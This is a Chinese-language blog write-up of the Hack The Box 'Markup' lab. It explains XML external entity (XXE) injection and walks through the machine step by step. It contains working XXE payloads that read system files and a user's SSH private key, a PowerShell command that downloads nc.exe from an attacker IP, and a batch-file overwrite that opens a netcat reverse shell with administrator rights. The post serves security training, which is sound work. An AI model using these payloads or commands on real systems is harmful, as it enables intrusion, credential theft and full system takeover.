Hack The Box系列——【Markup】XML外部实体注入(XXE)

一、XML概述

  1. 可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。其基本格式如下
    <?xml version="1.0" encoding="UTF-8"?>
      <信息>
        <收件人>a</收件人>
        <发件人>b</发件人>
        <主题>问候</主题>
        <內容>你好 </內容>
      </信息>
  2. 上面的代码中的第一行就是XML声明,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器,这个文件应该按照XML规则进行解析。
  3. XML文档如果以XML declaration开始,则表述了文档的一些信息。如<?xml version="1.0" encoding="UTF-8"?>
  4. XML标记:一个tag属于标记结构,以<开头,以>结尾。Tag名字是大小写敏感,不能包括任何字符 !"#$%&'()*+,/;<=>?@[\]^`{|}~, 也不能有空格符, 不能以"-"或"."或数字开始
  5. XML元素:元素是文档逻辑组成,如<aaa></aaa>

二、XML外部实体注入概述

  1. XML外部实体注入是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。
  2. XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符英语System identifier)来访问服务器本地或远程内容。XML处理器假设系统标识符为可访问的统一资源标志符(URI),然后将同名的外部实体以系统标识符所指定的资源内容解除引用。若系统标识符被修改,则XML处理器可能会泄露应用程序通常无法访问的秘密信息。类似的攻击矢量可能会利用外部文档类型定义(DTD)、外部样式表和外部Schema等等,这些同样会导致类似的外部资源包含攻击。

  3.  此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏英语Memory corruption)问题的XML处理库进行攻击,导致任意代码执行(以应用程序所使用的账户)。其他攻击针对持续返回数据的本地资源进行,可能会导致应用程序使用过多未释放的线程或行程。

 三、XML外部实体注入利用

  1. 文件读取
     <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [  
       <!ELEMENT foo ANY >
       <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  2. 代码执行。当PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码
    <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "expect://id" >]>
         <creds>
            <user>&xxe;</user>
            <pass>mypass</pass>
         </creds>

四、Hack The Box案例——Markup

(一)信息收集

  1. 端口扫描,开放了22、80、443端口,80、443端口开放有web服务,中间件为Apache 2.4.41,编程语言为PHP 7.2.28,OpenSSL 1.1.1c,服务器系统为Windows

  2. 打开网站,直接就是一个登录页面

  3. 尝试一下常见的弱口令,使用admin:password登录成功

  4. 在Order栏中,发现一个表单

  5. 看一看网页源代码,在注释中发现有用信息,像是一个用户名

  6. BurpSuite抓包,熟悉的xml,有漏洞的话可能存在xxe注入,即xml外部实体注入

(二)getshell

  1. 修改数据包body为以下格式,重放数据包

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
    <order>
    <quantity>
    2
    </quantity>
    <item>
    &test;
    </item>
    <address>
    17th Estate,CA
    </address>
    </order>

  2. 服务器正常回显,爆出了几个字段,验证确实存在xxe注入,利用xxe尝试读取该用户的ssh密钥,成功读取到密钥文件

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
    <order>
    <quantity>
    2
    </quantity>
    <item>
    &test;
    </item>
    <address>
    17th Estate,CA
    </address>
    </order>

  3. 将id_rsa保存到kali,然后通过该rsa对服务器进行ssh连接,成功获取shell

  4. 在Desktop找到user.txt

(三)权限提升

  1. 查看当前用户权限

    whoami /priv

  2. cd到C盘根目录下,查看有什么文件夹,发现有一个Log-Management文件夹,该文件夹中有一个job.bat批处理脚本

  3. type查看job.bat文件内容,该脚本以管理员权限调用了一个叫做wevtutil.exe的程序,看起来像是清除日志的,我们可以尝试利用这个进行提权

  4. 用icacls命令查看该批处理文件的权限,该脚本拥有system和Administrator权限

  5. 要通过该脚本获取反向shell,只需要通过netcat在批量处理中创建有效负载文件即可,在kali上下载windows的netcat二进制文件,然后开启一个简单的web服务,在目标主机上通过powershell命令将nc.exe下载到传到目标主机上

    Powershell -c "IWR -useBasicParsing http://10.10.16.9:8000/nc.exe -o
     nc.exe"

  6. 然后在目标主机上通过netcat利用job.bat创建反向shell到kali上,kali开启nc监听

    echo C:\Log-Management\nc.exe -e cmd.exe 10.10.16.9 4444 > C:\Log-Management\job.bat
    sudo nc lvnp 4444

  7. 成功获取到管理员权限,在管理员桌面找到root.txt

 
 
 
posted @ 2023-01-16 21:45  KRookieSec  阅读(151)  评论(0编辑  收藏  举报